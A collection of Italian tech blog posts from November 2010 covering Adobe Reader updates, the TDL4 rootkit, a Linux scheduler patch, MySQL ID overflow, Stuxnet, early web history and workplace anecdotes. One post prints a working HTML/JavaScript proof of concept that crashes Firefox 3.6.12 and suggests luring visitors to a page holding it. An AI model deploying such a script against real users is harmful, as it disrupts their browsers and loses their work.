Da ieri sera (ora europea) Adobe ha rilasciato gli aggiornamenti per Acrobat e Adobe Reader per Windows, UNIX e OSX.
L’ultima versione di Adobe Reader è, quindi, la 9.4.1 ed è l’unica a non essere interessata dai problemi scoperti a fine ottobre.
Da ieri sera (ora europea) Adobe ha rilasciato gli aggiornamenti per Acrobat e Adobe Reader per Windows, UNIX e OSX.
L’ultima versione di Adobe Reader è, quindi, la 9.4.1 ed è l’unica a non essere interessata dai problemi scoperti a fine ottobre.
TDL4 è la nuova versione di una famiglia di rootkit già noti che abbassa le difese di Windows a 64 bit contro il caricamento nel kernel di driver non firmati.
La prima parte del malware si annida nel MBR e modifica in memoria il parametro del kernel LoadIntegrityCheckPolicy e fa in modo che vengano accettati anche i driver non firmati in maniera digitale.
Questo permette al kernel di caricare una versione modificata di kdcom.dll, un componente del debugger del kernel. Le funzioni modificate dal malware esportate dalla DLL bloccano di fatto molti tentativi di debugging del rootkit.
Se la parte del rootkit caricata nel MBR non entrasse in azione, la DLL sostituita provocherebbe un errore tipo *** Windows is unable to verify the signature of the file \Windows\system32\kdcom.dll. Ma l’abbassamento del livello di sicurezza forza il kernel a non effettuare alcuna verifica.
A questo punto la porta è aperta per il caricamento di qualsiasi altra schifezza nel kernel. (via Threat Post)
Linux è abbastanza consolidato nell’ambiente server, ma deve ancora crescere come kernel adatto ad un utilizzo interattivo al di fuori degli smanettoni.
Negli ultimi mesi sono state proposte molte patch al kernel per migliorare la risposta interattiva del sistema.
Mike Galbraith ha proposto una patch basata su un’idea di Linus Torvalds che sembrerebbe fare davvero la differenza. Lo stesso Linus ha commentato «Good job. Group scheduling goes from “useful for some specific server loads” to “that’s a killer feature”.»
La patch introduce 224 nuove righe di codice e ne toglie 9, ma il risultato sembra essere incredibile: la latenza dello scheduler cala di 10 volte nei momenti di picco d di 60 volte con un carico medio. Il risultato è un’esperienza di utilizzo più fluida e veloce. (via Phoronix)
Aggiornamento 19/11/2010 08:00 – È possibile modificare il kernel per avere un’anteprima della patch.
Premetto che sono un fan sfegatato degli id interi autoincrementali delle tabelle SQL usati come chiave primaria. Prima o poi tornano utili e fanno comunque comodo.
Un collega qualche giorno fa mi ha detto di essere un po’ perplesso degli id autoincrementali per via del rischio di overflow.
MySQL, infatti, in caso di raggiungimento del limite del contatore autoincrementale non permette di aggiungere ulteriori record. Non è una bella situazione. Mi sono deciso, quindi, a fare un paio di conti.
Ipotizziamo un id autoincrementale di tipo UNSIGNED INT: abbiamo 4 byte di dati, pari a 32 bit pari a 4.294.967.295 in base decimale. Ipotizzando l’inserimento in una tabella di un milione di record al giorno (11 record al secondo) avremmo 4.295 giorni (poco meno di 12 anni) di vita della nostra tabella. Decisamente inaccettabile.
Meglio utilizzare un id autoincrementale di tipo UNSIGNED BIGINT: 8 byte, 64 bit e 18.446.744.073.709.551.615 possibili valori. Se ipotizziamo un miliardo di record al giorno (11.500 al secondo) potremmo avere spazio di crescita per circa 25 milioni di anni. Potrebbe essere sufficiente.
Un nuovo sviluppo nella analisi del worm Stuxnet sembra confermare che in effetti era stato realmente progettato per attaccare le centrali nucleari iraniane.
L’analisi portata avanti da Symantec spiega come il worm cerchi un PLC che sia collegato a specifici modelli di controlli per motori (due marche soltanto, una delle quali e` iraniana). Se li trova, verifica che stiano operando entro un certo range di frequenza (e quindi di velocita` dei motori), e solo se queste condizioni sono verificate, allora inizia a provocare brevi ma significative variazioni della velocita` dei motori, introducendo malfunzionamenti sporadici e non ripetibili, i quali sono ovviamente difficilissimi da scoprire e diagnosticare. Leggetevi l’originale, ve lo consiglio.
<!--
0day Mozilla Firefox <= 3.6.12 Remote Denial Of Service
Credits:
Emanuele 'emgent' Gentili <emgent@backtrack-linux.org>
Marco 'white_sheep' Rondini <white_sheep@backtrack-linux.org>
Alessandro 'scox' Scoscia <scox@backtrack.it>
-->
<script>document.write("\u0000\u0001\u0002\u0003\u0004\u0005")</script>
<script>
var i=0;
for (i=0;i<=19999;i++)
{
document.write("a");
}
for (i=0;i<=3;i++)
{
document.write(document.body.innerHTML);
}
</script>
Il simpatico script qui sopra blocca l’ultima versione di Mozilla Firefox, indipendentemente dal sistema operativo su cui gira.
Basta, quindi, inserirlo in una pagina HTML, indurre qualcuno a visitare quella pagina e voilà gli avete bloccato Firefox, costringendolo a chiudere brutalmente il software e a perdere i riferimenti a tutti i tab aperti (ci sono persone che potrebbero uccidere per una perdita del genere attenzione!).
Per ora si tratta solamente di un denial of service, non sono (ancora?) noti malware che sfruttano questo problema per altri scopi.
Il problema è stato scoperto dal gruppo italiano Backtrack.

“HyperText is a way to link and access information of various kinds as a web of nodes in which the user can browse at will. Potentially, HyperTextprovides a single user-interface to many large classes of stored information such as reports, notes, data-bases, computer documentation and on-line systems help. We propose the implementation of a simple scheme to incorporate several different servers of machine-stored information already available at CERN, including an analysis of the requirements for information access needs by experiments.”
Questo è l’abstract del documento “WorldWideWeb: Proposal for a HyperText Project“, che due ingegneri del Cern, Tim Berners-Lee e Robert Cailliau, realizzarono ed inviarono affinchè venisse preso in considerazione ed accettato per lo sviluppo.
Era il 12 Novembre 1990. Vent’anni fa. Tanti auguri!
È il prezzo che Christie’s stima per il prezzo d’asta della scheda di sistema numero 82 del primo modello di computer Apple, A.D. 1976.
Completano il lotto all’asta una cassetta con l’interprete BASIC, la documentazione con il primo logo della società che ritraeva Sir Isaac Newton sotto il leggendario albero di mele e altre chicche storiche relative al prodotto.
Guardate bene la foto… bello vero?

Non è una foto di fantasia, anzi. E’ uno dei (pochi, per ora) punti “rete” del progetto “Artist 2.0” (peccato per quel 2.0 maledetto), ideato da Aram Bartholl.
Date un occhio a questo post su Shareables per vedere un altro paio di interessanti foto e leggere qualcosina in più.
Poi chiedetevi (e rispondete nei commenti, se volete)… cosa succederebbe se a qualcuno venisse in mente di farlo anche in Italia?
Molti programmatori o professionisti dei computer sono dei pessimi dattilografi.
Io per primo. Prima o poi fonderò un movimento per sostituire che con ceh, ma sto divagando.
Damn You Auto Correct! è un sito che raccoglie (in inglese) le situazioni in cui uno spellcheck automatico non è proprio una buona idea (ricordate Word che metteva sempre in maiuscolo l’articolo plurale i?).
Improve a mechanical device and you may double productivity. But improve man, you gain a thousandfold. (Khan Noonien Singh, Space Seed)
Ieri mattina l’elettricista del cliente dov’ero dice a me e ad un collega «Sentite, potete dire voi al giardiniere che non è una bella idea tenere la tanica di benzina del tagliaerba sopra al quadro generale [della corrente]? Quando glielo dico io mi risponde che per lui è comodo metterlo lì».
Tre ore dopo un suo aiutante torna in ufficio per collegare l’UPS nuovo (una cosina da 10 kVA), una cosa che sarebbe dovuta durare un paio di minuti, tempo di collegare sei fili. Dopo 15 minuti era ancora lì con la faccia a punto interrogativo. Io e un collega ci avviciniamo e chiediamo se ci sono problemi. Per farla breve: dietro l’UPS c’è una chiave che abilita o disabilita il BYPASS. La chiave era su ON perché lui pensava che per accendere l’UPS tutto andasse su “ON”.
Quanto sopra non per dire che l’utente non capisce niente, ma per ricordare quanto sia utile investire sulle persone perché, alla fine, sono loro che fanno la differenza.